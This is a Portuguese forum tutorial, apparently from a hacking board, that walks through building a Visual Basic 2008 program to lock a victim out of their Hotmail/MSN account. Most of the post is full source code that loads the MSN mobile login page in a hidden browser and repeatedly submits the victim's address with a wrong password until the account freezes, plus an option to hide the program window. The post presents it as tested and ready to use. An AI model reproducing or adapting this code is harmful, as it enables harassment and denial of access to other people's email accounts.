Fazer a conta do Hotmail Travar Freezer que impossibilita a pessoa usar ela!
Para esse Tutorial é preciso usar o Visual Basic 2008
Ok
1-Abra o Visual Basic 2008
2-Inicia um novo project e escolha qualquer nome
3-Criaremos um textbox
4-Criaremos um checkbox com nome de "Hide"
5-Criaremos 2 buttons um com texto "Freeze e outro com Texto Unfreeze"
6-Criaremos um webbrowser com visible set FALSE e colocaremos a url:Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
7-Criaremos 3 label -o primeiro com texto "MSN Adress", Segundo com Texto Status" e o terceiro deixaremos sem nada! (Nada mesmo)
8-Criaremos um timer e deixaremos ele FALSE e Interval colocaremos 100 caso o seu nao esteja assim por padrao
Depois clicaremos 2 vezes em Form, e usaremos o Codigo abaixo!
remova todo o codigo e mude por esse!!
__________________________________________________ ________________________________
Código:
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox" ).SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextB ox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmi t").InvokeMember("click")
TextBox2.Text = Val(TextBox2.Text) + Val("4")
If TextBox2.Text = "20" Then
Label2.Text = "Frozen!"
End If
GoTo done
errordetected:
Label2.Text = "Frozen!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class
__________________________________________________ ______________________________
Pronto !!
so travar
mas lembrando que ele nao freeza eternamente !!
Fonte:CopyBoT
Editado e Testado por : prT's
GOSTOU AGRADEÇA !
Comment